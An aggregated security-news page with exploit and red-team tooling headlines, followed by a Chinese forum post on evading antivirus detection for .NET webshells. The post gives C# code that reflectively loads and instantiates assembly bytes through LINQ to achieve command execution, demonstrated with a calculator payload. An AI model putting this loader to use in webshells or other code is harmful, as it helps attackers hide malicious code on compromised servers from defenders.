Aggregator
Numen独家: 利用函数原生指针绕过最新版V8沙箱 (附在野 exp CVE-2022–3723)
公告 | 创新类产品范围更新及业务范围汇总
【漏洞预警】Apache NiFi 代码注入漏洞漏洞威胁通告
Cobalt Strike and Outflank Security Tooling: Friends in Evasive Places
This is a joint blog written by the Cobalt Strike and Outflank teams. It is also available on the Outflank site. Over the past few months there has been increasing collaboration and knowledge sharing internally between the Cobalt Strike and Outflank R&D teams. We are excited about the innovation opportunities made possible by this teamwork and [...]
Read More... from Cobalt Strike and Outflank Security Tooling: Friends in Evasive Places
The post Cobalt Strike and Outflank Security Tooling: Friends in Evasive Places appeared first on Cobalt Strike.
A CEO?s Perspective: Data Transfer Is the Silent Killer
分享一篇不错的.NET Webshell免杀文章
原文出自这里
笔者加载位于当前执行程序所在目录下的 "net-calc.dll" 文件的字节码内容,内容很简单启动一个新进程弹出计算器,并将其存储在 assemblyBytes变量,代码如下
byte[] assemblyBytes = File.ReadAllBytes(Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "net-calc.dll"));
List<byte[]> data = new List<byte[]>();
data.Add(this.assemblyBytes);
var e1 = data.Select(Assembly.Load);
Func<Assembly, IEnumerable> map_type = (Func<Assembly, IEnumerable>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);
var e3 = e2.Select(Activator.CreateInstance).ToList();
然后使用LINQ-SelectMany操作符合并两个序列后产生一个新的序列结果,通过LINQ这个能力可以联合Aseembly.Load和Aseembly::GetTypes,再借用LINQ-Select操作符投影Activator.CreateInstance反射创建一个Aseembly对象,这样就可以实现命令执行
![|553x287](file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml17460\wps2.jpg)
实际场景下这种加载外部文件的方式不太友好,我们知道Assembly.Load有多个重载方法,其中有一个重载支持byte[]类型的参数,如此我们可以通过System.IO.File.ReadAllBytes方法读取文件字节码
byte[] assemblyBytes = {0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8 .......... }
运行时如下图
![|553x412](file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml17460\wps3.jpg)
不能上传附件,工具无法传上来
1 个帖子 - 1 位参与者